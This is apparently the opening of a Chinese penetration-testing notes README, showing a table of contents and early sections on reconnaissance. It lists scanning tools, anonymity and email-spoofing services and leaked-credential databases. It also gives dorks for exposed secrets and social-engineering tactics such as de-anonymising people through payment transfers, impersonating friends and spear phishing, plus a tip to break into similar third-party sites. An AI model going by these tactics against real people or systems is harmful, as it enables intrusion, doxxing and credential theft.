├── README.md └── img ├── 640 ├── 020d23c3d0324d088d30821178f4e640 ├── 042bd6f0a9954246a3fdc9b6ee52003a ├── 04a9eff02197467e824394a4d7d169d6 ├── 0d5a1e660be44476aec2b1310a686678 ├── 1.4.6.png ├── 1.4.7.png ├── 10a0fd7fff40479888ff8c0c4828d3c1 ├── 1b17381a87d049dfa1316a123a0f702e ├── 1c36d896178b4ff49c690fa0bfdb43f1 ├── 20181119155904820.png ├── 20181119155959216.png ├── 20181119160153813.png ├── 2018111916443643.png ├── 20181119164552615.png ├── 20181119164947823.png ├── 20181119165219125.png ├── 20181119165829983.png ├── 20190519130854576.png ├── 2019051913123037.png ├── 20190722175301-7de41cd8-ac66-1.png ├── 2059787-20200715224555141-1298892077.png ├── 2059787-20200715224603427-816508208.png ├── 2059787-20200715224612696-1520388092.png ├── 2059787-20200715224623093-986828475.png ├── 2059787-20200715224628816-465374735.png ├── 2346fb6ca38d4898a81b1920e37ced11 ├── 25479c224e12401097ef4646f52b14c1 ├── 3085efce68554bb1a68a554107a74231 ├── 35a542b7767642698a91f0b507344fef ├── 3680facddad648698153a8741e3ec61a ├── 37cae14710a144f183fe1e19839f47e9 ├── 41916aabe2a247d9bf9b3088aca7a3b5 ├── 46de3ddbab0041f69d456b787e45d843 ├── 528ec065d3964c8f8671221cd0e00a56 ├── 56c9e84d69514466a1d4f90c06878606 ├── 5de872b6fc5843fcb8efc60420f09a23 ├── 5e9ff6a3206a451ea89e71974f72f1d2 ├── 63e9268f2dbf4a9c867b7682a1a21054 ├── 642120c5e5a247c2ae577528163ba5b7 ├── 681a4b15639b4cdeb1195c4dd1ba529b ├── 68747470733a2f2f692e696d6775722e636f6d2f553671456e58702e706e67 ├── 68747470733a2f2f692e696d6775722e636f6d2f5850333952717a2e706e67 ├── 72bc56bfebf64e4ba172e338aa3ed553 ├── 741d9a8fc6714d9c9b8be1bb33d77b8d ├── 7680a6406ce945878557307d43fdb437 ├── 8422d858480943cc834687a814db2734 ├── 84c115a3f22e43e49cc9b108e7dee7be ├── 896fa4144e8a45979563fe31cbbb79cf ├── 8abbc72e7a0c4c629062ea6fc8e7ed31 ├── 9cc5141d0bdf45faab6a059adfcde5b0 ├── 9e4a9da381c94e66b406bacda546729d ├── a1e6033798d64d1c9e098e5e4416d5b8 ├── bd28c7d78d564527856de8a733a2d034 ├── bdb5e9edd33d46a6a836ddd745b74eb1 ├── bdf2a4380b78457aa0a59504fe516d04 ├── be5df3d4110c40e0bd188984c168ff21 ├── c0da3e7d583f4b61a00d75a2072a9294 ├── c125051f16bc49c29da567e9dc6cf96d ├── ca544b7a5a5d4d66b1929fac914070a4 ├── d1c671b0e70443678e5403d6ed722cbe ├── dgdsfgergeqgbsadf6565.png ├── ea51968f293941acb8776c2e1e638c89 ├── f2796f1fb34749669bf9226c50adb17f ├── f4f61e9a66774ed49a489cf3bf851d48 ├── image-20201125140003211.png ├── image-20210107132946355.png ├── image-20210107133117637.png ├── image-20210107133210042.png ├── sffdfdfgedgewrg.png ├── t0112d44980cbec3f22.png ├── t011eb86eb5f0821b1c.png ├── t0130f58e0dd124e805.png ├── t0179f4650d065eae52.png ├── t01aec2b6bc79f41db9.png ├── t01b1b14df688454ae5.png ├── t01b708845cf66cd01d.png └── t01c3e6c9239eb8cbf8.png /README.md: -------------------------------------------------------------------------------- 1 | # PentestNote 2 | 一份笔记,方便查阅 3 | 4 | 推 荐 使 用 **typora** 进行阅读 5 | 6 | 第一份笔记,弄的太乱,已经不想再继续更新了。 7 | 后面更多的是把知识点细化到单个仓库。感兴趣的朋友,可以看我的其他仓库。 8 | 2021.11.3 9 | 10 | **Table of Contents** 11 | 12 | - [PentestNote](#pentestnote) 13 | - [请善用搜索[`Ctrl+F`]查找](#%E8%AF%B7%E5%96%84%E7%94%A8%E6%90%9C%E7%B4%A2ctrlf%E6%9F%A5%E6%89%BE) 14 | - [前期信息收集](#%E5%89%8D%E6%9C%9F%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86) 15 | - [工具推荐](#%E5%B7%A5%E5%85%B7%E6%8E%A8%E8%8D%90) 16 | - [子域名](#%E5%AD%90%E5%9F%9F%E5%90%8D) 17 | - [自动化信息收集](#%E8%87%AA%E5%8A%A8%E5%8C%96%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86) 18 | - [目录扫描](#%E7%9B%AE%E5%BD%95%E6%89%AB%E6%8F%8F) 19 | - [扫描器](#%E6%89%AB%E6%8F%8F%E5%99%A8) 20 | - [在线工具](#%E5%9C%A8%E7%BA%BF%E5%B7%A5%E5%85%B7) 21 | - [指纹](#%E6%8C%87%E7%BA%B9) 22 | - [网络空间搜索引擎](#%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E) 23 | - [综合扫描](#%E7%BB%BC%E5%90%88%E6%89%AB%E6%8F%8F) 24 | - [子域/旁站](#%E5%AD%90%E5%9F%9F%E6%97%81%E7%AB%99) 25 | - [dns历史记录](#dns%E5%8E%86%E5%8F%B2%E8%AE%B0%E5%BD%95) 26 | - [匿名](#%E5%8C%BF%E5%90%8D) 27 | - [裤子](#%E8%A3%A4%E5%AD%90) 28 | - [webshell查杀](#webshell%E6%9F%A5%E6%9D%80) 29 | - [恶意软件分析](#%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%E5%88%86%E6%9E%90) 30 | - [渗透测试](#%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95) 31 | - [资产](#%E8%B5%84%E4%BA%A7) 32 | - [实用](#%E5%AE%9E%E7%94%A8) 33 | - [历史漏洞](#%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E) 34 | - [目标站点源码获取技巧](#%E7%9B%AE%E6%A0%87%E7%AB%99%E7%82%B9%E6%BA%90%E7%A0%81%E8%8E%B7%E5%8F%96%E6%8A%80%E5%B7%A7) 35 | - [google语法](#google%E8%AF%AD%E6%B3%95) 36 | - [Github搜索](#github%E6%90%9C%E7%B4%A2) 37 | - [关于社工](#%E5%85%B3%E4%BA%8E%E7%A4%BE%E5%B7%A5) 38 | - [一点小技巧](#%E4%B8%80%E7%82%B9%E5%B0%8F%E6%8A%80%E5%B7%A7) 39 | - [一些信息收集的命令](#%E4%B8%80%E4%BA%9B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E7%9A%84%E5%91%BD%E4%BB%A4) 40 | - [互联网c段存活检测](#%E4%BA%92%E8%81%94%E7%BD%91c%E6%AE%B5%E5%AD%98%E6%B4%BB%E6%A3%80%E6%B5%8B) 41 | - [apk敏感信息收集](#apk%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86) 42 | - [mac下反编译apk](#mac%E4%B8%8B%E5%8F%8D%E7%BC%96%E8%AF%91apk) 43 | - [spring相关程序必扫字典](#spring%E7%9B%B8%E5%85%B3%E7%A8%8B%E5%BA%8F%E5%BF%85%E6%89%AB%E5%AD%97%E5%85%B8) 44 | - [漏洞攻击](#%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BB) 45 | - [文件读取漏洞](#%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E) 46 | - [文件包含漏洞](#%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E) 47 | - [sql注入漏洞](#sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E) 48 | - [文件上传漏洞](#%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E) 49 | - [命令执行](#%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C) 50 | - [结果外带](#%E7%BB%93%E6%9E%9C%E5%A4%96%E5%B8%A6) 51 | - [未授权漏洞](#%E6%9C%AA%E6%8E%88%E6%9D%83%E6%BC%8F%E6%B4%9E) 52 | - [redis](#redis) 53 | - [**常用命令**](#%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4) 54 | - [**利用**](#%E5%88%A9%E7%94%A8) 55 | - [写ssh-keygen登录](#%E5%86%99ssh-keygen%E7%99%BB%E5%BD%95) 56 | - [写计划任务反弹shell](#%E5%86%99%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E5%8F%8D%E5%BC%B9shell) 57 | - [写webshell](#%E5%86%99webshell) 58 | - [利用主从复制获取shell](#%E5%88%A9%E7%94%A8%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6%E8%8E%B7%E5%8F%96shell) 59 | - [其他姿势](#%E5%85%B6%E4%BB%96%E5%A7%BF%E5%8A%BF) 60 | - [敏感信息泄漏利用](#%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E5%88%A9%E7%94%A8) 61 | - [阿里云Access Key利用](#%E9%98%BF%E9%87%8C%E4%BA%91access-key%E5%88%A9%E7%94%A8) 62 | - [alicloud利用工具](#alicloud%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7) 63 | - [中间件安全](#%E4%B8%AD%E9%97%B4%E4%BB%B6%E5%AE%89%E5%85%A8) 64 | - [tomcat安全](#tomcat%E5%AE%89%E5%85%A8) 65 | - [数据库安全](#%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AE%89%E5%85%A8) 66 | - [mysql渗透总结](#mysql%E6%B8%97%E9%80%8F%E6%80%BB%E7%BB%93) 67 | - [一、sqlshell获取](#%E4%B8%80sqlshell%E8%8E%B7%E5%8F%96) 68 | - [二、mysql拿shell](#%E4%BA%8Cmysql%E6%8B%BFshell) 69 | - [1、用命令直接导出shell](#1%E7%94%A8%E5%91%BD%E4%BB%A4%E7%9B%B4%E6%8E%A5%E5%AF%BC%E5%87%BAshell) 70 | - [2、利用general_log拿shell](#2%E5%88%A9%E7%94%A8general_log%E6%8B%BFshell) 71 | - [三、任意文件读取](#%E4%B8%89%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96) 72 | - [四、mysql提权](#%E5%9B%9Bmysql%E6%8F%90%E6%9D%83) 73 | - [五、拓展](#%E4%BA%94%E6%8B%93%E5%B1%95) 74 | - [六、参考](#%E5%85%AD%E5%8F%82%E8%80%83) 75 | - [mssql渗透总结](#mssql%E6%B8%97%E9%80%8F%E6%80%BB%E7%BB%93) 76 | - [getshell](#getshell) 77 | - [寻找绝对路径](#%E5%AF%BB%E6%89%BE%E7%BB%9D%E5%AF%B9%E8%B7%AF%E5%BE%84) 78 | - [xp_cmdshell拿shell](#xp_cmdshell%E6%8B%BFshell) 79 | - [差异备份拿shell](#%E5%B7%AE%E5%BC%82%E5%A4%87%E4%BB%BD%E6%8B%BFshell) 80 | - [log备份拿shell](#log%E5%A4%87%E4%BB%BD%E6%8B%BFshell) 81 | - [getsystem](#getsystem) 82 | - [xp_cmdshell](#xp_cmdshell) 83 | - [sp_oacreate](#sp_oacreate) 84 | - [沙盒提权](#%E6%B2%99%E7%9B%92%E6%8F%90%E6%9D%83) 85 | - [xp_regwrite](#xp_regwrite) 86 | - [**工具使用**](#%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8) 87 | - [sqlmap](#sqlmap) 88 | - [**sqlmap详细命令参数**](#sqlmap%E8%AF%A6%E7%BB%86%E5%91%BD%E4%BB%A4%E5%8F%82%E6%95%B0) 89 | - [sqlmap使用](#sqlmap%E4%BD%BF%E7%94%A8) 90 | - [Tamper使用](#tamper%E4%BD%BF%E7%94%A8) 91 | - [Aircrack-ng破解WIFI密码](#aircrack-ng%E7%A0%B4%E8%A7%A3wifi%E5%AF%86%E7%A0%81) 92 | - [爆破攻击](#%E7%88%86%E7%A0%B4%E6%94%BB%E5%87%BB) 93 | - [Hydra](#hydra) 94 | - [Medusa](#medusa) 95 | - [getshell方法](#getshell%E6%96%B9%E6%B3%95) 96 | - [利用JavaScript转写php](#%E5%88%A9%E7%94%A8javascript%E8%BD%AC%E5%86%99php) 97 | - [命令执行写shell](#%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%86%99shell) 98 | - [二次法](#%E4%BA%8C%E6%AC%A1%E6%B3%95) 99 | - [鱼叉攻击](#%E9%B1%BC%E5%8F%89%E6%94%BB%E5%87%BB) 100 | - [权限维持](#%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81) 101 | - [提权检测脚本](#%E6%8F%90%E6%9D%83%E6%A3%80%E6%B5%8B%E8%84%9A%E6%9C%AC) 102 | - [利用msf提权](#%E5%88%A9%E7%94%A8msf%E6%8F%90%E6%9D%83) 103 | - [安卓锁屏破解](#%E5%AE%89%E5%8D%93%E9%94%81%E5%B1%8F%E7%A0%B4%E8%A7%A3) 104 | - [交互shell获取](#%E4%BA%A4%E4%BA%92shell%E8%8E%B7%E5%8F%96) 105 | - [无交互账号添加](#%E6%97%A0%E4%BA%A4%E4%BA%92%E8%B4%A6%E5%8F%B7%E6%B7%BB%E5%8A%A0) 106 | - [Cobalt Strike笔记](#cobalt-strike%E7%AC%94%E8%AE%B0) 107 | - [argue参数污染](#argue%E5%8F%82%E6%95%B0%E6%B1%A1%E6%9F%93) 108 | - [bypass disable_function](#bypass-disable_function) 109 | - [隧道工具](#%E9%9A%A7%E9%81%93%E5%B7%A5%E5%85%B7) 110 | - [痕迹清理](#%E7%97%95%E8%BF%B9%E6%B8%85%E7%90%86) 111 | - [windows清理](#windows%E6%B8%85%E7%90%86) 112 | - [日志清除](#%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4) 113 | - [永久擦除技巧](#%E6%B0%B8%E4%B9%85%E6%93%A6%E9%99%A4%E6%8A%80%E5%B7%A7) 114 | - [清除远程桌面连接记录](#%E6%B8%85%E9%99%A4%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%E8%AE%B0%E5%BD%95) 115 | - [利用Metasploit 痕迹清除](#%E5%88%A9%E7%94%A8metasploit-%E7%97%95%E8%BF%B9%E6%B8%85%E9%99%A4) 116 | - [linux清理](#linux%E6%B8%85%E7%90%86) 117 | - [日志清除](#%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4-1) 118 | - [永久擦除技巧](#%E6%B0%B8%E4%B9%85%E6%93%A6%E9%99%A4%E6%8A%80%E5%B7%A7-1) 119 | - [清除history记录](#%E6%B8%85%E9%99%A4history%E8%AE%B0%E5%BD%95) 120 | - [隐藏远程SSH登陆记录](#%E9%9A%90%E8%97%8F%E8%BF%9C%E7%A8%8Bssh%E7%99%BB%E9%99%86%E8%AE%B0%E5%BD%95) 121 | - [横向移动](#%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8) 122 | - [内网常用命令](#%E5%86%85%E7%BD%91%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4) 123 | - [密码搜集](#%E5%AF%86%E7%A0%81%E6%90%9C%E9%9B%86) 124 | - [文件查找](#%E6%96%87%E4%BB%B6%E6%9F%A5%E6%89%BE) 125 | - [连通性](#%E8%BF%9E%E9%80%9A%E6%80%A7) 126 | - [域信息收集](#%E5%9F%9F%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86) 127 | - [常用信息收集](#%E5%B8%B8%E7%94%A8%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86) 128 | - [环境信息搜集](#%E7%8E%AF%E5%A2%83%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86) 129 | - [内网渗透合集](#%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E5%90%88%E9%9B%86) 130 | - [payload生成](#payload%E7%94%9F%E6%88%90) 131 | - [payload下载&白名单bypass](#payload%E4%B8%8B%E8%BD%BD%E7%99%BD%E5%90%8D%E5%8D%95bypass) 132 | - [python文件服务器](#python%E6%96%87%E4%BB%B6%E6%9C%8D%E5%8A%A1%E5%99%A8) 133 | - [ftp](#ftp) 134 | - [ODBCCONF利用dll](#odbcconf%E5%88%A9%E7%94%A8dll) 135 | - [cmstp利用dll](#cmstp%E5%88%A9%E7%94%A8dll) 136 | - [Rundll](#rundll) 137 | - [Regsvr32](#regsvr32) 138 | - [vbs](#vbs) 139 | - [powershell](#powershell) 140 | - [certutil](#certutil) 141 | - [csc](#csc) 142 | - [Desktopimgdownldr](#desktopimgdownldr) 143 | - [CertReq](#certreq) 144 | - [Unix-GTFOBins](#unix-gtfobins) 145 | - [**whois**](#whois) 146 | - [PIP](#pip) 147 | - [Msiexec](#msiexec) 148 | - [MSBuild](#msbuild) 149 | - [Wmic](#wmic) 150 | - [hta](#hta) 151 | - [bitsadmin](#bitsadmin) 152 | - [Installutil](#installutil) 153 | - [Installutil&csc配合使用](#installutilcsc%E9%85%8D%E5%90%88%E4%BD%BF%E7%94%A8) 154 | - [regasm和regsvcs](#regasm%E5%92%8Cregsvcs) 155 | - [uuid](#uuid) 156 | - [免杀](#%E5%85%8D%E6%9D%80) 157 | - [payload分离免杀](#payload%E5%88%86%E7%A6%BB%E5%85%8D%E6%9D%80) 158 | - [免杀loader(20210220)](#%E5%85%8D%E6%9D%80loader20210220) 159 | - [shellcode loader](#shellcode-loader) 160 | - [反弹shell](#%E5%8F%8D%E5%BC%B9shell) 161 | - [监听](#%E7%9B%91%E5%90%AC) 162 | - [bash](#bash) 163 | - [perl](#perl) 164 | - [python](#python) 165 | - [php](#php) 166 | - [ruby](#ruby) 167 | - [nc](#nc) 168 | - [java](#java) 169 | - [lua](#lua) 170 | - [powershell](#powershell-1) 171 | - [OpenSsl加密隧道反弹](#openssl%E5%8A%A0%E5%AF%86%E9%9A%A7%E9%81%93%E5%8F%8D%E5%BC%B9) 172 | - [linux命令笔记](#linux%E5%91%BD%E4%BB%A4%E7%AC%94%E8%AE%B0) 173 | - [基础常用命令](#%E5%9F%BA%E7%A1%80%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4) 174 | - [用户、权限-相关命令](#%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90-%E7%9B%B8%E5%85%B3%E5%91%BD%E4%BB%A4) 175 | - [磁盘管理](#%E7%A3%81%E7%9B%98%E7%AE%A1%E7%90%86) 176 | - [wget 下载文件](#wget-%E4%B8%8B%E8%BD%BD%E6%96%87%E4%BB%B6) 177 | - [其他常用命令](#%E5%85%B6%E4%BB%96%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4) 178 | - [AWK命令](#awk%E5%91%BD%E4%BB%A4) 179 | - [shell编程](#shell%E7%BC%96%E7%A8%8B) 180 | - [docker命令笔记](#docker%E5%91%BD%E4%BB%A4%E7%AC%94%E8%AE%B0) 181 | - [ubuntu踩坑记录](#ubuntu%E8%B8%A9%E5%9D%91%E8%AE%B0%E5%BD%95) 182 | - [git 笔记](#git-%E7%AC%94%E8%AE%B0) 183 | - [当前项目(仓库)记住密码](#%E5%BD%93%E5%89%8D%E9%A1%B9%E7%9B%AE%E4%BB%93%E5%BA%93%E8%AE%B0%E4%BD%8F%E5%AF%86%E7%A0%81) 184 | - [编程语言学习笔记](#%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0) 185 | - [常用正则](#%E5%B8%B8%E7%94%A8%E6%AD%A3%E5%88%99) 186 | - [php](#php-1) 187 | - [读书笔记](#%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0) 188 | - [漏洞笔记]( 189 | 190 | ## 请善用搜索[`Ctrl+F`]查找 191 | 192 | 不定时更新,权当是记笔记了. 193 | 194 | 很多东西会先在公众号进行更新,有需要的先关注。 195 | 196 | 197 | # 前期信息收集 198 | 199 | 200 | 201 | ## 工具推荐 202 | 203 | ### 子域名 204 | 205 | - OneForAll https://github.com/shmilylty/OneForAll 206 | - ksubdomain:https://github.com/knownsec/ksubdomain 207 | - subDomainsBrute https://github.com/lijiejie/subDomainsBrute 208 | 209 | 210 | 211 | ### 自动化信息收集 212 | 213 | - ARL https://github.com/TophantTechnology/ARL 214 | - 215 | 216 | 217 | 218 | ### 目录扫描 219 | 220 | win下面用御剑和7kbscan就够了,关键得看字典吧.我公众号之前有推荐过 221 | 222 | - Safe6目录扫描 https://github.com/safe6Sec/dirScan 223 | - dirsearch:https://github.com/maurosoria/dirsearch 224 | - 7kbscan:https://github.com/7kbstorm/7kbscan-WebPathBrute 225 | 226 | 227 | 228 | ### 扫描器 229 | 230 | - nessus扫主机 231 | - awvs 扫web 232 | - burp 不用说 233 | - nmap 扫端口 234 | - rustscan 超快的端口扫描,扫完自动调用nmap识别指纹(速度太快了有时候有些端口出不来) https://github.com/RustScan/RustScan 235 | - xray 结合burp用来被动扫描 https://github.com/chaitin/xray 236 | 237 | 238 | 239 | ### 在线工具 240 | 241 | #### 指纹 242 | 243 | - https://www.godeye.vip/ 244 | 245 | - http://whatweb.bugscaner.com/look 246 | 247 | - http://finger.tidesec.net/ 248 | - https://phonebook.cz/ 目标资产,如邮箱 249 | 250 | #### 网络空间搜索引擎 251 | 252 | - https://quake.360.cn/ 253 | - https://fofa.so/ 254 | - https://www.zoomeye.org/ 255 | - https://www.shodan.io/ 256 | 257 | #### 综合扫描 258 | 259 | - https://scan.top15.cn/web/ 260 | - https://pentest-tools.com/information-gathering/google-hacking# 261 | 262 | #### 子域/旁站 263 | 264 | - https://phpinfo.me/old/domain 265 | - https://webscan.cc/ 266 | - https://dnsdumpster.com/ 267 | - https://www.yougetsignal.com/tools/web-sites-on-web-server/ 268 | - https://www.robtex.com/ 269 | - https://www.dnsscan.cn/ 270 | 271 | #### dns历史记录 272 | 273 | 可用来找真实ip 274 | 275 | - http://www.siteinfotool.com/ 276 | - http://toolbar.netcraft.com/site_report 277 | - https://dnsdumpster.com/ 278 | - https://viewdns.info/iphistory/ 279 | - https://asm.ca.com/ 280 | 281 | #### 匿名 282 | 283 | - Sms 284 | https://www.materialtools.com/ 285 | http://receivefreesms.com/ 286 | - Email 287 | https://10minutemail.net/ 288 | https://zh.mytrashmailer.com/ 289 | http://24mail.chacuo.net/enus 290 | https://www.linshiyouxiang.net/ 291 | - Fake id 292 | https://www.fakenamegenerator.com/ 293 | http://www.haoweichi.com/ 294 | https://www.fakeaddressgenerator.com/ 295 | - ip代理池 296 | - 临时文件 https://bashupload.com/ 297 | - https://ppng.io/ 临时文件 298 | - tor网络 299 | - https://emkei.cz/ 邮件伪造 300 | - 免费域名 https://www.freenom.com/zh/index.html?lang=zh 301 | - dns http://xip.io/ 302 | - 云短信https://www.materialtools.com/ 303 | 304 | #### 裤子 305 | 306 | - http://site3.sjk.space/ 307 | - https://ghostproject.fr/ 308 | - 309 | 310 | #### webshell查杀 311 | 312 | - D盾http://www.d99net.net/ 313 | - 河马https://www.webshell.pub/ 314 | - webdir++https://scanner.baidu.com/ 315 | 316 | #### 恶意软件分析 317 | 318 | - https://www.virustotal.com/ 319 | - http://www.virscan.org/ 320 | - https://www.virscan.org/ 321 | - https://s.threatbook.cn/ 云沙箱 322 | - https://habo.qq.com/ 323 | - https://ti.qianxin.com/ 324 | - https://sandbox.ti.qianxin.com/sandbox/page qax沙箱 325 | - http://appscan.360.cn/ app扫描 326 | - https://service.security.tencent.com/kingkong app 327 | - https://www.appscan.io/ app 328 | - https://www.ostorlab.co/ app 国外的 329 | - https://app.any.run/ 最强沙箱 330 | 331 | #### 渗透测试 332 | 333 | - https://www.revshells.com/ 反弹shell 334 | - https://i.hacking8.com/tiquan/ Windows提权辅助补丁查询 335 | - https://pentest-tools.com/information-gathering/google-hacking# 谷歌hacking多种 336 | 337 | #### 资产 338 | 339 | - https://opendata.rapid7.com/ 340 | 341 | #### 实用 342 | 343 | - 解析bash命令 https://explainshell.com/ 344 | - 终端录制 https://asciinema.org/ 345 | - 正则搜索 https://ihateregex.io/ 346 | 347 | 348 | 349 | 350 | 351 | ## 历史漏洞 352 | 353 | - https://cxsecurity.com/ 354 | - http://vulhub.org.cn/ (常用) 355 | - http://cve.scap.org.cn/ 356 | - http://www.cnnvd.org.cn/ 357 | - https://vulmon.com/ (常用) 358 | - https://sploitus.com (常用) 359 | - https://vulners.com 360 | - https://www.exploit-db.com/ (常用) 361 | - https://www.seebug.org/ 362 | - https://packetstormsecurity.com/ 363 | - https://snyk.io/vuln (常用) 364 | - https://www.cvedetails.com/ 365 | - https://www.cvebase.com/ (常用,cve分析和poc) 366 | - 乌云镜像 367 | - https://baizesec.github.io/bylibrary/ 白泽文库 368 | - https://github.com/Mr-xn/Penetration_Testing_POC poc&exp各种工具 369 | 370 | 371 | 372 | ## 目标站点源码获取技巧 373 | 374 | 参考文章:https://www.anquanke.com/post/id/224420 如何利⽤Quake挖掘某授权⼚商边缘站点漏洞 375 | 376 | 377 | 378 | 如果站点删除对应特征的title关键词,可以根据favicon来搜索使用同套相似框架的站点。 379 | 380 | 当然假如quake没有给出这个站点的icon值,你也可以根据 `curl http://xxxx.com/favicon.ico|md5sum`的方式,得到站点ico的md5,然后利用quake语法,`favicon:"{MD5}"`搜索。 381 | 382 | 运气较好,在quake的第一页就发现了和厂商使用同样cms,并且明示用了什么框架的站点 383 | 384 | 385 | 386 | **如何利用360quake搜索相似站点,并获得源码** 387 | 388 | 这里一般我们搜索相似源码的站点有以下几种方式: 389 | 390 | - 1、`根据favicon搜索` 391 | - 2、`根据首页页面里的一些特征,利用body:"{特征}"来搜索` 392 | - 3、`根据response里的header头特征来搜索,一般是在cookie里有设置特定的cookie。比如shiro的rememberMe=xxx,或者apache的ofbiz。` 393 | - 4、`根据cert里Issuer、Subject特征搜索,一些单位、甚至部门信息会包含在ssl证书内容之中。` 394 | 395 | 搜索到相似站点后,有几种方式搞到源码: 396 | 397 | - 1、`对相似站点进行入侵,getshell后获得源码(动静较大)` 398 | - 2、`对相似站点批量扫备份文件` 399 | - 3、`得知cms的名称去凌风云网盘搜索该cms源码是否有人分享` 400 | - 4、`闲鱼搜有没有对应源码有人在买卖` 401 | - 5、`去github,gitee搜有没有相似的源码,是否是根据别人的源码二次开发的成品` 402 | 403 | 404 | 405 | 406 | 407 | 408 | ## google语法 409 | 410 | 1. 后台地址 411 | 412 | - site:xxx.xxx 管理后台/登陆/管理员/系统 413 | - site:xxx.xxx inurl:login/admin/system/guanli/denglu 414 | - site:xxx.xxx intext:"登陆" 415 | 416 | 1. 敏感文件 417 | 418 | - site:xxx.xxx filetype:pdf/doc/xls/txt 419 | - site:xxx.xxx filetype:log/sql/conf 420 | 421 | 1. 测试环境 422 | 423 | - site:xxx.xxx inurl:test/ceshi 424 | - site:xxx.xxx intitle:测试 425 | 426 | 1. 邮箱/QQ/群 427 | 428 | - site:xxx.xxx 邮件/email 429 | - site:xxx.xxx qq/群/企鹅/腾讯 430 | 431 | 1. 其他 432 | 433 | - site:xxx.xxx inurl:api 434 | - site:xxx.xxx inurl:uid=/id= 435 | - site:xxx.xxx intitle:index of 436 | 437 | ## Github搜索 438 | 439 | - @xxx.xxx password/secret/credentials/token/config/pass/login/ftp/ssh/pwd 440 | - @xxx.xxx security_credentials/connetionstring/JDBC/ssh2_auth_password/send_keys 441 | - "domain.com" API_KEY 442 | - "domain.com" login 443 | - "domain.com" password 444 | 445 | ## 关于社工 446 | 447 | 1. 查询whois得到电话,邮箱,备案号.备案号查注册人 448 | 449 | 2. 电话通过支付宝转帐获取真实姓名,利用qq反查微信,qq推测 450 | 451 | 3. 电话号码添加到通讯录,让第三方app通过通讯录匹配出信息(抖音,支付宝,qq,微信......) 452 | 453 | 4. 社工库,tg群查泄漏密码 454 | 455 | 5. 手机号查注册过的网站 456 | 457 | ``` 458 | https://www.reg007.com/ 459 | https://www.usersearch.org/ 460 | ``` 461 | 462 | 6. 得到管理员设置密码习惯,命名习惯.进行爆破,跑备份 463 | 464 | 7. 利用个人信息生成社工字典 465 | 466 | 8. 冒充目标好友 467 | 468 | 9. 近源渗透,wifi,badusb 469 | 470 | 10. 鱼叉攻击 471 | 472 | 1. https://mp.weixin.qq.com/s/SzKX0XrAjgo7SL2GYjtSAg 干货 | 邮件钓鱼攻击学习 473 | 2. https://mp.weixin.qq.com/s?__biz=MjM5NzE1NjA0MQ%3D%3D&mid=2651202725&idx=1&sn=955fd4c6d80b320a57a3bc7b34fa24f8&scene=45#wechat_redirect红蓝对抗之邮件钓鱼攻击 474 | 3. https://mp.weixin.qq.com/s/aatNjey3swZz7T4Yw_LqsQ 红队测试之邮箱打点 475 | 4. https://mp.weixin.qq.com/s/gFkFcl2M_SI7UYmosUnTOg 邮件钓鱼平台搭建以及基础使用场景 476 | 5. https://mp.weixin.qq.com/s/_3PpI4hKYZRPuYQs2nh67w 钓鱼攻击中文件的几种姿势 477 | 478 | 11. 水坑攻击 479 | 480 | 12. 可通过微博进行定位,qq抓ip定位,图片exif定位 481 | 482 | 13. 各种匿名 483 | 484 | 14. 密码生成 485 | 486 | - 撞库 487 | - 常见手机号 488 | - 常见登录账号(admin、manager、test、deme) 489 | - 数字组合(0-9、00-99、000-999、0000-9999、00000-99999) 490 | - 拼音(zhangsan、zhang.san、zhangs) 491 | - 中文(张三、李四、张san) 492 | - 英文名(Tom、Jeo、Cherry) 493 | - 单位名(zssx123、zssx@123) 494 | - 地名(beijing123、beijing@123) 495 | - 组合(地名+单位名) 496 | - 域名(baidu@123、JD@123) 497 | - 生日组合 498 | 499 | 500 | 501 | 502 | ## 一点小技巧 503 | 504 | 1. 无头绪的时候,可以去fofa找相同类型的站点拿下,然后进行代码审计. 505 | 2. 主站一般没机会,尽量的去收集目标资产(渗透本质是信息收集),没有拿不下的站点,只要信息收集到位.如果还不行就社工. 506 | 3. 